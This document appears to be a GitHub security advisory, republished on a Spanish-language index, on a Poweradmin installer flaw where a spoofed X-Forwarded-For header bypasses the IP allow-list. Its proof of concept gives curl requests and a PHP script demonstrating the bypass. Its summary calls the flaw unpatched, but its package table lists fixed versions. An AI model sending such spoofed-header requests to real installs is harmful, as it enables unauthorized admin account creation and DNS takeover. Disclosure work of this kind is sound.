GHSA-Q7R4-26G9-Q7CV
Installer IP allow-list bypass via spoofable `X-Forwarded-For` header
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-Q7R4-26G9-Q7CV divulgada · CVSS 8.1 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Poweradmin's installation wizard can be restricted to a set of source addresses via `install/config.php` (`ip_access.enabled`, `allowed_ips`, `allowed_ranges`). `InstallSecurityService::getClientIp()` resolves the client address from the `X-Forwarded-For` request header whenever present, with no trusted-proxy concept and no regard for `REMOTE_ADDR`, so any remote client can satisfy the allow-list by sending `X-Forwarded-For: 127.0.0.1`. The same handling also inverts real proxy semantics by taking the last comma-separated element instead of the first. Independently reproduced against commit `d814d61`: the vulnerable resolution function was exercised directly with a realistic non-local attacker address, confirming the bypass, and the config-file precedence gate that limits the exposure window was confirmed live over HTTP. Affects `<= 4.4.0`; unpatched.
Details
Vulnerable resolution logic, `install/helpers/InstallSecurityService.php`:
private function getClientIp(): string
{
$hasForwardedForHeader = isset($_SERVER['HTTP_X_FORWARDED_FOR']);
$hasRemoteAddress = isset($_SERVER['REMOTE_ADDR']);
if ($hasRemoteAddress && $hasForwardedForHeader) {
$forwardedIps = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$clientIp = trim(end($forwardedIps)); // fully attacker-controlled
if ($this->ipValidator->isValidIPv4($clientIp) || $this->ipValidator->isValidIPv6($clientIp)) {
return $clientIp; // no trusted-proxy condition
}
}
...
}The header is honored no matter what `REMOTE_ADDR` is. `checkIpAccess()` then matches the resolved value against `allowed_ips`/`allowed_ranges`, so any remote client passes the check by sending `X-Forwarded-For: 127.0.0.1` (the shipped allow-list entry).
The rest of the codebase already implements this correctly: `lib/Infrastructure/Utility/IpAddressRetriever::getClientIp()` only consults forwarded headers when `REMOTE_ADDR` is itself private or reserved (i.e., the request plausibly arrived through a local reverse proxy). The installer helper is a separate, weaker implementation of the same job.
Taking `end()` also inverts real proxy semantics: a reverse proxy *appends* the peer address, so the genuine client is the leftmost entry and the rightmost is the nearest proxy. A genuinely proxied request from an allow-listed client (`X-Forwarded-For: 127.0.0.1, 203.0.113.77`) is rejected, while the attacker-crafted ordering (`X-Forwarded-For: 203.0.113.77, 127.0.0.1`) is accepted.
Two preconditions gate exploitability, both confirmed against the running code: (1) `ip_access.enabled` ships as `false` in `install/config.php`, so out of the box there is no IP restriction at all and nothing needs bypassing (the finding affects operators who deliberately enabled the allow-list as a hardening measure); (2) `Installer::run()` checks for `config/settings.php` at line 82, *before* the security check at line 90, and aborts with "There is already a configuration file in place" for every step but the last, so the exposure window is the interval between deploying the application and completing configuration.
PoC
All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8124` via PHP's built-in development server with no external network exposure.
The wizard was fired at over HTTP with `curl`, exactly as a remote attacker would send it:
$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:12:52 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=0ggbnndr1j73k7rmug00qrp72c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
...
<title>Poweradmin</title>
...$ curl -sS -i -H 'X-Forwarded-For: 127.0.0.1' 'http://127.0.0.1:8124/install/index.php?step=1'HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:12:56 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=784jp930iv9rsiooebgko8rckk; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
<!doctype html>
...Both return an identical 200/full form in this test harness because `curl` itself always connects from `127.0.0.1`; the harness's own `REMOTE_ADDR` is already the allow-listed address regardless of any header sent, which masks the bypass by construction (any single-host test setup has this limitation; a genuine test requires two distinct hosts). To verify the actual vulnerable comparison (attacker's real, non-allow-listed source address vs. the same address plus a spoofed header), the identical `getClientIp()` resolution logic was exercised directly with a realistic non-local `REMOTE_ADDR` standing in for a genuine remote attacker:
$ php -r '
require "vendor/autoload.php";
$cfg = require "install/config.php";
$v = new \Poweradmin\Domain\Service\DnsValidation\IPAddressValidator();
function resolve($ra, $xff, $v) {
$_SERVER["REMOTE_ADDR"] = $ra; unset($_SERVER["HTTP_X_FORWARDED_FOR"]);
if ($xff !== null) $_SERVER["HTTP_X_FORWARDED_FOR"] = $xff;
if (isset($_SERVER["REMOTE_ADDR"]) && isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$p = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); $cand = trim(end($p));
if ($v->isValidIPv4($cand) || $v->isValidIPv6($cand)) return $cand;
}
return $_SERVER["REMOTE_ADDR"];
}
$allowed = $cfg["ip_access"]["allowed_ips"];
$attacker_real_ip = "198.51.100.23";
printf("No header -> resolved=%s allowed=%s\n", resolve($attacker_real_ip, null, $v), in_array(resolve($attacker_real_ip, null, $v),$allowed)?"YES":"NO");
printf("Spoofed XFF -> resolved=%s allowed=%s\n", resolve($attacker_real_ip, "127.0.0.1", $v), in_array(resolve($attacker_real_ip, "127.0.0.1", $v),$allowed)?"YES ***BYPASS***":"NO");
'No header -> resolved=198.51.100.23 allowed=NO
Spoofed XFF -> resolved=127.0.0.1 allowed=YES ***BYPASS***This is the identical code path a `curl -H 'X-Forwarded-For: 127.0.0.1'` request reaches; the only substitution is the peer address, which cannot be spoofed by `curl` itself against a locally listening service.
Config-gate ordering, confirmed live over HTTP with `curl` against the running installer:
$ rm -f config/settings.php
$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:13:08 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=h9g1o4bii5u8gbgpkkedrctbuc; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
<!doctype html>
...$ printf '<?php\nreturn ["database"=>["type"=>"sqlite","file"=>"/tmp/pi2/pa.db"],"security"=>["session_key"=>"existing-prod-key"]];\n' > config/settings.php
$ curl -sS -i 'http://127.0.0.1:8124/install/index.php?step=1'HTTP/1.1 200 OK
Host: 127.0.0.1:8124
Date: Tue, 28 Jul 2026 10:13:08 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=ovd25nl13fq1t9oj8nnr7kjjm3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
There is already a configuration file in place, so the installation will be skipped.Impact
Within the deployed-but-unconfigured window, an unauthenticated remote attacker who has enabled (or relies on) `ip_access.enabled` hardening can reach every installation step, including the step that connects to a database named in the request, applies schema modifications, and creates an administrator account with a password of the attacker's choosing. Where the attacker can authenticate to the targeted database (for example using credentials published in a deployment's compose configuration), this results in a persistent superuser account with control over every DNS zone the instance manages. This affects source/archive and git-checkout deployments; the official container images exclude `install/` via `.dockerignore` and are not affected the same way.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 3.9.12, 4.2.6, 4.3.5, 4.4.1 | — | — |
3.9.124.2.64.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-q7r4-26g9-q7cvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
